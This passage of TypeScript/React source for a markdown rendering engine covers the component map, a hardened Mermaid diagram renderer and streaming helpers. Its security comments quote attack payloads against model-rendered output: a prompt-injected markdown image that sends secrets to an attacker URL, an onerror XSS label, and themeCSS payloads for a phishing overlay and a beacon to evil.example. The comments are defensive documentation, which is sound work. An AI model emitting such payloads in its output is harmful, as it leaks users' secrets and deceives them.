out.replace(/\\s+/g, ' ').trim()\n  } else {\n    out = out.replace(/\\n{3,}/g, '\\n\\n').trim()\n  }\n\n  if (maxChars != null && out.length > maxChars) {\n    out = out.slice(0, maxChars)\n  }\n  return out\n}\n","\"use client\";\n\n/**\n * Default react-markdown component map for the unified markdown engine.\n * ONE implementation of code blocks, headings, links, lists, tables etc.\n * Compositions layer on top via `componentOverrides` (spread LAST by the\n * engine, so caller overrides always win).\n */\nimport React from 'react';\nimport type { Components } from 'react-markdown';\nimport Image from '../../../embed-shims/next-image';\nimport { useAuthedImageSrc } from '../../../hooks/use-authed-image-src';\nimport { cn } from '../../../utils/cn';\nimport type { ResolveLinkResult } from '../../../types/doc-source';\nimport type { TextSizeElement } from './text-size';\nimport { MermaidDiagram } from './mermaid-diagram';\nimport {\n  extractText,\n  resolveFallbackHeadingId,\n  useAssignedHeadingIds,\n  useHeadingId,\n} from './heading-ids';\nimport { slugifyHeadingText } from '../../../utils/markdown-heading-id';\nimport {\n  getHashTargetElement,\n  navigateSamePageHash,\n  HUB_HEADER_OFFSET_PX,\n} from '../../../utils/same-page-hash-nav';\n\n/**\n * True when an image `src` is worth rendering. Shared by the base `img` and\n * the rich composition's `img` / `video` overrides so the empty-`![]()`\n * guard has exactly one definition.\n */\n/**\n * Inline content image (blog / docs / chat attachments). A standalone\n * component — NOT inline JSX in the `img` renderer — because it must call\n * `useAuthedImageSrc`: in bearer-mode native shells (`capacitor://`,\n * `tauri://`) a gateway-hosted image can't load through a plain `<img>` (no\n * Authorization header on native asset loads), so the hook swaps in an authed\n * blob URL; everywhere else it returns `src` untouched. While the blob fetch\n * is in flight `resolvedSrc` is null and the component renders nothing — same\n * as the no-src case. Ported from #1548 into the unified engine (the original\n * lived in the now-deleted `ui/simple-markdown-renderer.tsx`). Sizing matches\n * the engine's cap: 400x400 intrinsic, `w-auto h-auto max-h-[400px]` drives\n * the actual rendered box; click-to-expand surfaces provide full resolution.\n */\nconst MarkdownContentImage: React.FC<{ src: string; alt?: string }> = ({ src, alt }) => {\n  const resolvedSrc = useAuthedImageSrc(src);\n  if (!resolvedSrc) return null;\n  return (\n    <Image\n      src={resolvedSrc}\n      alt={alt ?? 'No image available'}\n      width={400}\n      height={400}\n      sizes=\"(max-width: 400px) 100vw, 400px\"\n      className=\"max-w-full max-h-[400px] w-auto h-auto rounded-lg object-contain\"\n      style={{ width: 'auto', height: 'auto' }}\n    />\n  );\n};\n\nexport function hasRenderableSrc(src: unknown): src is string {\n  return typeof src === 'string' && src.trim() !== '';\n}\n\nexport interface BuildBaseComponentsOptions {\n  textSizes: Record<TextSizeElement, string>;\n  demoteMarkdownH1ToH2: boolean;\n  brokenLinks: readonly string[];\n  currentPath?: string;\n  onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void;\n  onResolveLink?: (href: string, currentPath: string) => Promise<ResolveLinkResult>;\n}\n\n/**\n * The standard leaf renderers (`code` block + inline, `blockquote`, `div`\n * pass-through) as standalone functions.\n *\n * SSOT for compositions that must OVERRIDE these renderers for a narrow\n * special case and then fall through: the rich composition intercepts embed\n * fence languages, shortcode-expanded `div`s and Reddit's `reddit-embed-bq`\n * blockquote, and delegates everything else here. Previously it reproduced\n * these renderers byte-for-byte, so any class change here silently drifted\n * on content surfaces.\n *\n * THESE MUST STAY HOOK-FREE: the rich composition calls them as plain\n * functions from inside its own renderers (`standard.code(props)`), which is\n * not a React render of a component and would break the rules of hooks.\n * Hook-using renderers (the headings, which read the heading-line offset\n * from context) live in `buildBaseComponents` below and are never delegated\n * to this way.\n *\n * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Typography / §General): inline code keeps\n * an inline `text-[0.9em]`, carried over verbatim from the pre-unification\n * renderers — ODS has no relative-to-parent code size, so mapping it onto an\n * existing token would visibly change every inline code span. Same shape as\n * the flag in ./text-size.ts — flagged for addition to ODS, not copied\n * anywhere else.\n *\n * The code BLOCK's font is NOT flagged: the raw \"JetBrains Mono\", \"SF Mono\",\n * Consolas stack the old renderer inlined is gone, replaced by Tailwind's\n * `font-mono` (→ `var(--font-family-heading)`, the Azeret Mono ODS stack) —\n * the same class the inline-code branch below already used, so the two code\n * surfaces no longer disagree about their family.\n */\nexport function buildStandardLeafRenderers({\n  textSizes,\n}: {\n  textSizes: Record<TextSizeElement, string>;\n}): Pick<Components, 'code' | 'blockquote' | 'div'> {\n  return {\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    code: ({ node, inline, className: codeClassName, children, ...props }: any) => {\n      const match = /language-(\\w+)/.exec(codeClassName || '');\n      const language = match ? match[1] : '';\n\n      if (!inline && language === 'mermaid') {\n        return <MermaidDiagram chart={String(children).replace(/\\n$/, '')} />;\n      }\n\n      if (!inline && match) {\n        return (\n          <div className=\"code-block-container border rounded-lg my-6 overflow-hidden bg-ods-card border-ods-border\">\n            <div className=\"code-header border-b px-4 py-2 bg-ods-card border-ods-border\">\n              <span className=\"font-sans text-xs uppercase tracking-wide text-ods-text-tertiary\">\n                {language || 'code'}\n              </span>\n            </div>\n            <div className=\"p-4\">\n              <pre className=\"overflow-x-auto\">\n                <code\n                  className={cn(`language-${language} hljs font-mono`, textSizes.code)}\n                  style={{\n                    background: 'transparent',\n                    color: 'var(--color-text-primary)',\n                  }}\n                  {...props}\n                >\n                  {children}\n                </code>\n              </pre>\n            </div>\n          </div>\n        );\n      }\n\n      return (\n        <code className=\"font-mono text-[0.9em] px-1.5 py-0.5 rounded border bg-ods-card text-ods-text-primary border-ods-border\" {...props}>\n          {children}\n        </code>\n      );\n    },\n\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    blockquote: ({ children }: any) => (\n      <blockquote className=\"border-l-4 border-ods-accent ml-0 pl-6 my-8 py-4 rounded-r-lg bg-ods-bg-surface\">\n        <div className={cn('font-sans leading-relaxed text-ods-text-secondary', textSizes.blockquote)}>\n          {children}\n        </div>\n      </blockquote>\n    ),\n\n    // Pass-through `div` (overridable for embeds; `node` is dropped so it\n    // never reaches the DOM).\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    div: ({ node, className: divClassName, children, ...props }: any) => (\n      <div className={divClassName} {...props}>{children}</div>\n    ),\n  };\n}\n\nexport function buildBaseComponents({\n  textSizes,\n  demoteMarkdownH1ToH2,\n  brokenLinks,\n  currentPath: propCurrentPath,\n  onInternalLinkClick,\n  onResolveLink,\n}: BuildBaseComponentsOptions): Components {\n  const makeHeading = (\n    Tag: 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6',\n    headingClassName: string,\n  ) =>\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    ({ node, children }: any) => {\n      // PURE LOOKUP — no counters, no render-order dependency. The map is\n      // built once from the processed source and reaches this renderer via\n      // context (see ./heading-ids.ts for why not via this options object).\n      const mapped = useHeadingId(node);\n      const taken = useAssignedHeadingIds();\n      // An AUTHORED anchor wins over everything. The sanitize schema allows\n      // `id` on every element (and disables clobbering) precisely so\n      // `<h2 id=\"pricing-faq\">` keeps its hand-picked anchor; overwriting it\n      // with the slug of its text silently broke every existing deep link\n      // pointing at it.\n      const explicit =\n        typeof node?.properties?.id === 'string' && node.properties.id !== ''\n          ? node.properties.id\n          : undefined;\n      // Fallback for headings the source scan cannot see — in practice only\n      // caller-plugin-synthesized nodes, which carry no source position.\n      // Deduped against the ids the map already assigned (pure — see\n      // resolveFallbackHeadingId).\n      const id =\n        explicit ??\n        mapped ??\n        resolveFallbackHeadingId(slugifyHeadingText(extractText(children)), taken);\n      const EffectiveTag = Tag === 'h1' && demoteMarkdownH1ToH2 ? 'h2' : Tag;\n      return <EffectiveTag id={id || undefined} className={headingClassName}>{children}</EffectiveTag>;\n    };\n\n  return {\n    // --- code + blockquote + div (shared leaf renderers, see above) ---\n    ...buildStandardLeafRenderers({ textSizes }),\n\n    // --- headings ---\n    h1: makeHeading('h1', cn('font-sans font-bold mt-8 mb-4 first:mt-0 text-ods-text-primary', textSizes.h1)),\n    h2: makeHeading('h2', cn('font-sans font-semibold mt-8 mb-4 pb-2 border-b text-ods-text-primary border-ods-border', textSizes.h2)),\n    h3: makeHeading('h3', cn('font-sans font-semibold mt-6 mb-3 text-ods-text-primary', textSizes.h3)),\n    h4: makeHeading('h4', cn('font-sans font-semibold mt-4 mb-2 text-ods-text-primary', textSizes.h4)),\n    h5: makeHeading('h5', cn('font-sans font-semibold mt-3 mb-2 text-ods-text-primary', textSizes.h5)),\n    h6: makeHeading('h6', cn('font-sans font-semibold mt-3 mb-1 text-ods-text-primary', textSizes.h6)),\n\n    // --- paragraph ---\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    p: ({ children }: any) => (\n      <p className={cn('leading-relaxed mb-4 first:mt-0 last:mb-0 text-ods-text-primary', textSizes.p)}>\n        {children}\n      </p>\n    ),\n\n    // --- links ---\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    a: ({ href, children, className: linkClassName }: any) => {\n      const isBroken = brokenLinks.includes(href);\n      const isInternalDocLink =\n        propCurrentPath !== undefined &&\n        propCurrentPath !== null &&\n        href &&\n        !href.startsWith('http') &&\n        !href.startsWith('#');\n\n      if (isBroken) {\n        return (\n          <span className=\"text-ods-accent cursor-not-allowed\">\n            {children}\n            <sup className=\"ml-1 text-xs font-bold text-ods-error\">[BROKEN]</sup>\n          </span>\n        );\n      }\n\n      if (isInternalDocLink && onInternalLinkClick) {\n        const currentPath = propCurrentPath ?? '';\n        return (\n          <span\n            className=\"text-ods-accent no-underline relative transition-colors duration-200 hover:after:w-full after:content-[''] after:absolute after:w-0 after:h-0.5 after:-bottom-0.5 after:left-0 after:bg-ods-accent after:transition-all after:duration-300 cursor-pointer\"\n            onClick={async (e) => {\n              e.preventDefault();\n              e.stopPropagation();\n              if (onResolveLink) {\n                try {\n                  const result = await onResolveLink(href, currentPath);\n                  if (result.type === 'folder-no-readme' && result.action === 'expand_folder') {\n                    onInternalLinkClick(result.resolvedPath!, { expandFolder: true, fromInternalLink: true });\n                  } else if (result.type === 'not-found') {\n                    return;\n                  } else if (result.success && result.resolvedPath) {\n                    onInternalLinkClick(result.resolvedPath, { fromInternalLink: true });\n                  }\n                } catch (error) {\n                  console.error('Error resolving link:', error);\n                }\n              } else {\n                onInternalLinkClick(href, { fromInternalLink: true });\n              }\n            }}\n            role=\"link\"\n            tabIndex={0}\n            onKeyDown={(e) => {\n              if (e.key === 'Enter' || e.key === ' ') {\n                (e.currentTarget as HTMLElement).click();\n              }\n            }}\n          >\n            {children}\n          </span>\n        );\n      }\n\n      // In-page anchor. Doc TOCs are authored against GitHub's slugger\n      // (`## 📚 Table of Contents` → `#-table-of-contents`) while our heading\n      // ids trim the emoji's leftover hyphen, so the raw href resolves to\n      // nothing and the browser silently ignores the click. Resolve through\n      // `getHashTargetElement` — the same resolver deep links use — then hand\n      // the real id to the canonical hash-nav helper, which also lands the\n      // heading BELOW the sticky header instead of under it, matching how the\n      // \"On this page\" rail scrolls.\n      const isInPageAnchor = typeof href === 'string' && href.startsWith('#') && href.length > 1;\n      const handleAnchorClick = (e: React.MouseEvent<HTMLAnchorElement>) => {\n        // Let modifier / non-primary clicks keep their native behavior.\n        if (e.metaKey || e.ctrlKey || e.shiftKey || e.altKey || e.button !== 0) return;\n        const target = getHashTargetElement(href.slice(1));\n        // Nothing matched anywhere in the document → leave the browser's\n        // default alone rather than swallowing a click that isn't ours.\n        if (!target?.id) return;\n        e.preventDefault();\n        navigateSamePageHash(`#${target.id}`, { headerOffset: HUB_HEADER_OFFSET_PX });\n      };\n\n      return (\n        <a\n          href={href}\n          className={`text-ods-accent no-underline relative transition-colors duration-200 hover:after:w-full after:content-[''] after:absolute after:w-0 after:h-0.5 after:-bottom-0.5 after:left-0 after:bg-ods-accent after:transition-all after:duration-300 ${linkClassName || ''}`}\n          target={href?.startsWith('http') ? '_blank' : undefined}\n          rel={href?.startsWith('http') ? 'noopener noreferrer' : undefined}\n          onClick={isInPageAnchor ? handleAnchorClick : undefined}\n        >\n          {children}\n        </a>\n      );\n    },\n\n    // --- images ---\n    // Inline content image renderer (blog, docs, chat attachments) —\n    // delegates to `MarkdownContentImage` (above), which handles bearer-mode\n    // authed loading for native shells and the 400x400 cap with click-to-\n    // expand for full resolution.\n    //\n    // TODO(security): LLM-rendered surfaces still auto-load ANY image origin,\n    // so a prompt-injected `![](https://attacker/log?d=<secret>)` exfiltrates\n    // silently. An image-origin allowlist is a tracked follow-up: it requires\n    // a host-supplied origin list threaded from each chat composition (there\n    // is no safe default this library can pick), so it is deliberately absent\n    // rather than shipped unwired.\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    img: ({ src, alt }: any) => {\n      if (!hasRenderableSrc(src)) return null;\n      return <MarkdownContentImage src={src} alt={alt} />;\n    },\n\n    // --- lists ---\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    ul: ({ children }: any) => (\n      <ul className=\"list-disc list-outside my-4 ml-8 space-y-2 text-ods-text-primary\">{children}</ul>\n    ),\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    ol: ({ children }: any) => (\n      <ol className=\"list-decimal list-outside my-4 ml-8 space-y-2 text-ods-text-primary\">{children}</ol>\n    ),\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    li: ({ children }: any) => (\n      <li className={cn('leading-relaxed pl-2', textSizes.li)}>{children}</li>\n    ),\n\n    // --- tables ---\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    table: ({ children }: any) => (\n      <div className=\"table-container my-6 overflow-x-auto\">\n        <div className=\"min-w-full border rounded-lg border-ods-border bg-ods-card\">\n          <table className=\"w-full table-fixed md:table-auto\">{children}</table>\n        </div>\n      </div>\n    ),\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    thead: ({ children }: any) => (\n      <thead className=\"bg-ods-bg-surface\">{children}</thead>\n    ),\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    th: ({ children }: any) => (\n      <th className={cn('px-2 md:px-4 py-3 text-left font-semibold text-ods-accent border-r last:border-r-0 break-words border-ods-border', textSizes.th)}>\n        {children}\n      </th>\n    ),\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any\n    td: ({ children }: any) => (\n      <td className={cn('px-2 md:px-4 py-3 border-r last:border-r-0 border-b break-words whitespace-normal text-ods-text-primary border-ods-border', textSizes.td)}>\n        {children}\n      </td>\n    ),\n\n    // --- horizontal rule ---\n    hr: () => <hr className=\"border-0 border-t my-8 border-ods-border\" />,\n  };\n}\n","\"use client\";\n\n/**\n * Single MermaidDiagram for the unified markdown engine (dark theme only —\n * the old RichMarkdownRenderer's light-theme branch was dead code behind a\n * hardcoded `isDarkMode = true` and is deleted, not carried over).\n *\n * `mermaid` stays a dynamic import so neither chat nor content bundles pay\n * for it unless a diagram is actually rendered.\n */\nimport React, { useEffect, useState } from 'react';\nimport type { MermaidConfig } from 'mermaid';\nimport { AlertCircleIcon } from '../../icons-v2-generated';\n\n/**\n * SECURITY SSOT for the mermaid renderer — the ONLY place these knobs are\n * written. `./__tests__/mermaid-security.test.ts` imports THIS constant and\n * spreads it into its own `mermaid.initialize`, so the fixture and the\n * component can no longer drift: flipping `securityLevel` to `'loose'` here\n * fails the suite (verified by doing exactly that).\n *\n * This renderer sits on the CHAT path, so the diagram source is MODEL output\n * — untrusted by construction — and the rendered SVG goes through\n * `dangerouslySetInnerHTML`. The pre-unification renderer used `'loose'`,\n * which permits raw HTML inside labels and enables mermaid's `click`\n * interaction directive: a node label like `A[\"<img src=x onerror=...>\"]`\n * would have produced LIVE HTML.\n *\n *  - `securityLevel: 'strict'` encodes HTML tags in text and disables click\n *    handlers.\n *  - `htmlLabels: false` renders labels as SVG `<text>` instead of a\n *    foreignObject HTML subtree, so there is no HTML surface at all. Verified:\n *    no authored diagram in this repo or in the consuming hub's markdown uses\n *    HTML labels (not even `<br/>`), so 'antiscript' (which still allows tags)\n *    is not needed. (`htmlLabels` is set at the ROOT — `flowchart.htmlLabels`\n *    is deprecated in mermaid 11 and the root value takes precedence.)\n *  - `secure` is the allowlist of config keys a `%%{init}%%` directive in the\n *    diagram SOURCE may NOT override. mermaid's default list covers\n *    `securityLevel` but NOT `htmlLabels`, so model-authored source could\n *    otherwise re-enable HTML labels while `securityLevel` stayed locked.\n *    Adding `htmlLabels` (plus `secure` itself and the resource limits) closes\n *    that hole.\n *\n * jsdom NOTE: with `htmlLabels` unlocked, a `%%{init: {\"htmlLabels\": true}}%%`\n * directive was observed to make `mermaid.render` never settle under jsdom\n * (>60s, against a passing two-render control). This was NOT reproduced in a\n * real browser and may well be an artifact of jsdom having no layout — do not\n * read it as a confirmed browser DoS. Either way the render below is wrapped\n * in a timeout so a non-settling render surfaces the error state instead of\n * sitting on \"Rendering diagram…\" forever.\n */\nexport const MERMAID_SECURITY_OPTIONS = {\n  htmlLabels: false,\n  securityLevel: 'strict',\n  secure: [\n    'securityLevel',\n    'htmlLabels',\n    'secure',\n    'startOnLoad',\n    'maxTextSize',\n    'maxEdges',\n    // `themeCSS` is RAW CSS that mermaid emits into a `<style>` inside the\n    // SVG this component injects with `dangerouslySetInnerHTML`. Locking\n    // `securityLevel`/`htmlLabels` closes the HTML surface but left CSS wide\n    // open, and mermaid's own directive sanitizer does not help: `themeCSS`\n    // is a normal config key, and `sanitizeCss` only brace-balances it.\n    // Two demonstrated payloads (verified against real mermaid 11.14.0):\n    //   - `%%{init:{\"themeCSS\":\"position:fixed;top:0;left:0;width:100vw;\n    //     height:100vh;z-index:2147483647;background:#fff\"}}%%` — bare\n    //     declarations land on the `#svgId` selector itself, so the diagram\n    //     becomes an opaque, top-most, viewport-filling overlay whose visible\n    //     text the author controls via node labels (UI redress / phishing);\n    //   - `themeCSS: \"@font-face{src:url(https://evil.example/f.woff)}\"` —\n    //     at-rules escape the `#svgId` prefix entirely and land\n    //     document-global, i.e. an unconditional outbound request to an\n    //     attacker host on every render.\n    // The diagram source on the chat path is MODEL output, so both are\n    // reachable from untrusted input. Nothing in this repo authors `themeCSS`.\n    'themeCSS',\n  ],\n} satisfies Pick<MermaidConfig, 'htmlLabels' | 'securityLevel' | 'secure'>;\n\n/** Upper bound on a single `mermaid.render`. Generous enough that no honest\n *  diagram hits it; short enough that a wedged render becomes a visible error\n *  instead of a permanent skeleton. */\nexport const MERMAID_RENDER_TIMEOUT_MS = 15_000;\n\n/** `Promise.race` with a rejecting timer, timer always cleared. Kept local —\n *  the only caller is the render below. */\nasync function withRenderTimeout<T>(promise: Promise<T>, ms: number): Promise<T> {\n  let timer: ReturnType<typeof setTimeout> | undefined;\n  try {\n    return await Promise.race([\n      promise,\n      new Promise<never>((_resolve, reject) => {\n        timer = setTimeout(() => reject(new Error(`Diagram rendering timed out after ${ms}ms`)), ms);\n      }),\n    ]);\n  } finally {\n    if (timer !== undefined) clearTimeout(timer);\n  }\n}\n\n/**\n * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Colors / §Typography / §General):\n * `mermaidStyles` below and the `themeVariables` / `fontFamily` / `fontSize`\n * block in `MermaidDiagram` carry RAW hex colors, a literal font-family and\n * literal px font sizes.\n *\n * Reason: mermaid's configuration is not CSS — `themeVariables` is a\n * JavaScript API whose values are baked into the generated SVG as literal\n * attribute strings, so a `var(--color-…)` reference resolves to nothing\n * there. On top of that, ODS has NO 10-step categorical color ramp, and\n * mermaid's `cScale0…cScale9` requires exactly one. The palette is carried\n * over VERBATIM from the pre-unification RichMarkdownRenderer, so this is\n * parity, not new divergence; the missing categorical-ramp tokens are\n * flagged here for addition to ODS.\n *\n * Scope: this exemption covers THIS file only, and only the mermaid config\n * surface. Do NOT copy this pattern — every other style in the markdown\n * module uses ODS semantic classes.\n */\nexport const mermaidStyles = `\n  .mermaid-svg-container svg {\n    max-width: 100% !important;\n    height: auto !important;\n    min-height: 200px;\n    font-family: 'DM Sans', sans-serif !important;\n    font-size: 14px !important;\n  }\n  @media (min-width: 1520px) {\n    .mermaid-svg-container svg {\n      max-width: 900px !important;\n      max-height: 700px !important;\n      min-height: 300px;\n      font-size: 16px !important;\n    }\n  }\n  @media (min-width: 768px) and (max-width: 1519px) {\n    .mermaid-svg-container svg {\n      max-width: 700px !important;\n      max-height: 600px !important;\n      min-height: 250px;\n      font-size: 15px !important;\n    }\n  }\n  @media (max-width: 767px) {\n    .mermaid-svg-container svg {\n      max-width: 90vw !important;\n      max-height: 400px !important;\n      min-height: 200px;\n      font-size: 13px !important;\n    }\n  }\n  .mermaid-svg-container svg[width] { width: 100% !important; }\n  .mermaid-svg-container .node rect,\n  .mermaid-svg-container .node circle,\n  .mermaid-svg-container .node ellipse,\n  .mermaid-svg-container .node polygon { stroke-width: 2px !important; }\n  .mermaid-svg-container .edgePath path { stroke-width: 2px !important; }\n  @media (min-width: 768px) {\n    .mermaid-svg-container .node text,\n    .mermaid-svg-container .edgeLabel text { font-size: 14px !important; }\n  }\n  @media (min-width: 1520px) {\n    .mermaid-svg-container .node text,\n    .mermaid-svg-container .edgeLabel text { font-size: 16px !important; }\n  }\n`;\n\n/** Monotonic render id. `Date.now()` was ambiguous: two renders started in the\n *  same millisecond (routine while a diagram streams in) share an id, and\n *  mermaid removes any pre-existing element with that id at the start of a\n *  render — so one render would delete the other's working container. */\nlet mermaidRenderSeq = 0;\n\nexport const MermaidDiagram: React.FC<{ chart: string }> = ({ chart }) => {\n  const [svg, setSvg] = useState<string>('');\n  const [error, setError] = useState<string>('');\n  const [isLoading, setIsLoading] = useState<boolean>(true);\n  const [mounted, setMounted] = useState(false);\n\n  useEffect(() => { setMounted(true); }, []);\n\n  useEffect(() => {\n    // This effect re-runs on every `chart` change, and during STREAMING the\n    // chart text grows chunk by chunk — so several `mermaid.render` calls are\n    // in flight at once. Without this flag a slower EARLIER render can resolve\n    // last and overwrite the newer output (or paint an error for a chart that\n    // is no longer displayed). The timeout above bounds that window at 15s but\n    // cannot close it: `Promise.race` rejects, it does not abort the render.\n    let cancelled = false;\n    const renderId = `mermaid-${(mermaidRenderSeq += 1)}`;\n\n    const renderMermaid = async () => {\n      try {\n        setIsLoading(true);\n        // `mermaid` is a declared `dependencies` entry and ships its own\n        // types, so this specifier resolves — the suppression that used to sit\n        // here (`@ts-ignore`, justified as \"optional runtime dependency\") was\n        // dead AND factually wrong. It is kept as a DYNAMIC import purely for\n        // bundle size: neither the chat nor the content bundle should pay for\n        // mermaid unless a diagram actually renders. Import failures surface\n        // through the surrounding try/catch as the diagram error state.\n        const { default: mermaid } = await import('mermaid');\n\n        mermaid.initialize({\n          startOnLoad: false,\n          theme: 'dark' as const,\n          themeVariables: {\n            primaryColor: '#FFC008',\n            primaryTextColor: '#FAFAFA',\n            primaryBorderColor: '#3A3A3A',\n            lineColor: '#888888',\n            secondaryColor: '#212121',\n            tertiaryColor: '#2A2A2A',\n            background: 'transparent',\n            mainBkg: 'transparent',\n            secondBkg: 'transparent',\n            tertiaryBkg: 'transparent',\n            cScale0: '#FFC008', cScale1: '#4ECDC4', cScale2: '#45B7D1',\n            cScale3: '#96CEB4', cScale4: '#FFEAA7', cScale5: '#DDA0DD',\n            cScale6: '#98D8C8', cScale7: '#F7DC6F', cScale8: '#BB8FCE',\n            cScale9: '#85C1E9',\n            taskTextColor: '#FAFAFA',\n            taskTextOutsideColor: '#FAFAFA',\n            activeTaskTextColor: '#1A1A1A',\n            nodeTextColor: '#FAFAFA',\n          },\n          flowchart: { useMaxWidth: true, rankSpacing: 50, nodeSpacing: 30, curve: 'basis' },\n          sequence: { useMaxWidth: true, width: 150 },\n          pie: { useMaxWidth: true, useWidth: undefined },\n          fontFamily: 'DM Sans, sans-serif',\n          fontSize: 14,\n          // SECURITY: single source of truth, shared with the fixture.\n          // See MERMAID_SECURITY_OPTIONS above and\n          // ./__tests__/mermaid-security.test.ts.\n          ...MERMAID_SECURITY_OPTIONS,\n        });\n\n        const { svg: renderedSvg } = await withRenderTimeout(\n          mermaid.render(renderId, chart),\n          MERMAID_RENDER_TIMEOUT_MS,\n        );\n        if (cancelled) return;\n        setSvg(renderedSvg);\n        // CLEAR the previous failure. The render body checks `error` BEFORE\n        // `svg`, so a stale message pins the \"Diagram Error\" card forever and\n        // the diagram that just rendered successfully never appears. Transient\n        // failures are ROUTINE on this component's own hot path: every\n        // streaming frame re-renders a partial chart, and a partial chart is a\n        // mermaid parse error until the closing tokens arrive.\n        setError('');\n        setIsLoading(false);\n      } catch (err) {\n        if (cancelled) return;\n        console.error('Mermaid rendering error:', err);\n        setError(`Failed to render diagram: ${err instanceof Error ? err.message : 'Unknown error'}`);\n        setIsLoading(false);\n      }\n    };\n\n    if (mounted) { renderMermaid(); }\n    return () => {\n      cancelled = true;\n      // An abandoned render (superseded chart, or one wedged past the timeout)\n      // keeps mermaid's temporary `#d<id>` working container attached to\n      // <body> forever, since mermaid only removes it on a successful finish.\n      // Cheap to reap here because the id is ours. If the render is still live\n      // it will fail on the missing node — caught, and discarded by `cancelled`.\n      document.getElementById(`d${renderId}`)?.remove();\n      document.getElementById(renderId)?.remove();\n    };\n  }, [chart, mounted]);\n\n  if (error) {\n    return (\n      <div className=\"error-state bg-ods-card border border-ods-border rounded-lg p-6 my-6\">\n        <div className=\"error-icon flex justify-center mb-4\">\n          <AlertCircleIcon className=\"w-12 h-12 text-ods-error\" />\n        </div>\n        <div className=\"error-title text-center font-sans font-semibold text-lg text-ods-error mb-2\">\n          Diagram Error\n        </div>\n        <div className=\"error-description text-center font-sans text-sm text-ods-text-secondary mb-4 break-words overflow-hidden max-w-full\">\n          <div className=\"overflow-x-auto\">\n            <pre className=\"whitespace-pre-wrap break-words text-xs\">{error}</pre>\n          </div>\n        </div>\n      </div>\n    );\n  }\n\n  if (isLoading || !svg) {\n    return (\n      <div className=\"skeleton-code bg-ods-card border border-ods-border rounded-lg p-6 min-h-[120px] flex items-center justify-center\">\n        <div className=\"animate-pulse text-ods-text-tertiary font-sans\">\n          {isLoading ? 'Loading diagram renderer...' : 'Rendering diagram...'}\n        </div>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"mermaid-container rounded-lg p-4 md:p-6 lg:p-8 my-6 overflow-x-auto bg-ods-card border border-ods-border\">\n      {/* Scoped to `.mermaid-svg-container`, so it only needs to exist when a\n          diagram is actually mounted. The engine used to emit this once per\n          instance — i.e. once per chat segment, almost never with a diagram. */}\n      <style dangerouslySetInnerHTML={{ __html: mermaidStyles }} />\n      <div className=\"flex justify-center items-center w-full min-h-[200px] md:min-h-[250px] lg:min-h-[300px]\">\n        <div\n          className=\"mermaid-svg-container w-full flex justify-center max-w-full\"\n          style={{ fontSize: '14px' }}\n          dangerouslySetInnerHTML={{\n            __html: svg.replace(/<svg[^>]*>/, (match) =>\n              match.replace(/width=\"[^\"]*\"/, 'width=\"100%\"').replace(/height=\"[^\"]*\"/, 'height=\"auto\"')\n            ),\n          }}\n        />\n      </div>\n    </div>\n  );\n};\n","/**\n * Streaming helpers for the unified markdown engine (pure, no React).\n *\n * Design contract (unification plan §D1 \"Streaming rendering performance\"):\n * - Markdown is NOT context-free across blocks. The splitter only cuts at\n *   boundaries it can PROVE are atomic; when atomicity is unprovable the\n *   content is left in one unit (unmemoized) — correctness beats cache hits.\n * - Blocks containing `card://` / `mention://` markers are never memoized:\n *   their text is identical before/after the entity ref resolves, so a\n *   text-keyed cache would serve the stale unresolved card mid-stream.\n * - On stream completion the engine discards all of this and does ONE\n *   authoritative whole-document parse — streaming can never permanently\n *   diverge (late reference defs, footnotes, list renumbering self-heal).\n * - Tail completion auto-closes ONLY unterminated fenced code blocks\n *   (fence-count based — unambiguous). Inline emphasis/links are NOT\n *   auto-closed: a stray `*` in \"2 * 3\" or a non-link `[` would be\n *   mis-wrapped, which is worse than the brief flicker it prevents.\n */\n\nimport { createFenceTracker, isBlankLine, type FenceTracker } from '../../../utils/markdown-fences'\n\nexport interface StreamingBlock {\n  /** Raw markdown source of this unit (including trailing blank lines). */\n  text: string\n  /** Position index — cache key component so identical blocks never alias. */\n  index: number\n  /**\n   * 1-based line of this unit's first line WITHIN the whole document.\n   * Each unit is parsed by its own `ReactMarkdown`, so hast positions are\n   * unit-relative; the engine adds `startLine - 1` back to look ids up in\n   * the document-wide heading-id map (see ./heading-ids.ts).\n   */\n  startLine: number\n  /**\n   * True when this unit may be render-cached: it is complete (not the\n   * trailing unit), atomic, and free of cross-block / late-resolving\n   * constructs (card/mention markers, reference definitions/uses,\n   * footnotes).\n   */\n  memoizable: boolean\n}\n\n/** Constructs that resolve across blocks or after the text settles. */\nconst NON_MEMOIZABLE_RE = /card:\\/\\/|mention:\\/\\/|^\\s*\\[[^\\]]*\\]:\\s|\\]\\[|\\[\\^/m\n\n/**\n * Raw HTML block-level containers. A blank line inside an OPEN one of these\n * is not a block boundary: cutting there hands react-markdown an unbalanced\n * fragment, so the container's body renders outside the container and the\n * stray close tag is dropped (`<details>` disclosure bodies escaping the\n * widget mid-stream — and the wrong render getting cached).\n */\nconst RAW_BLOCK_TAGS = new Set([\n  'details', 'div', 'table', 'section', 'article', 'aside', 'blockquote',\n  'figure', 'form', 'fieldset', 'header', 'footer', 'main', 'nav', 'dl',\n  'ol', 'ul', 'pre', 'video', 'audio', 'picture', 'iframe', 'template',\n  'svg',\n])\n\n/** `<tag …>` / `</tag>` occurrences, used for raw-HTML depth tracking. */\nconst HTML_TAG_RE = /<(\\/?)([a-zA-Z][a-zA-Z0-9-]*)([^>]*)>/g\n\n/**\n * A start tag whose `>` has NOT arrived yet on this line\n * (`<div\\n  class=\"x\">`). Only the trailing occurrence matters, and only\n * for RAW_BLOCK_TAGS — restricting it there keeps prose like `a <b` from\n * latching the scanner into \"inside a tag\" 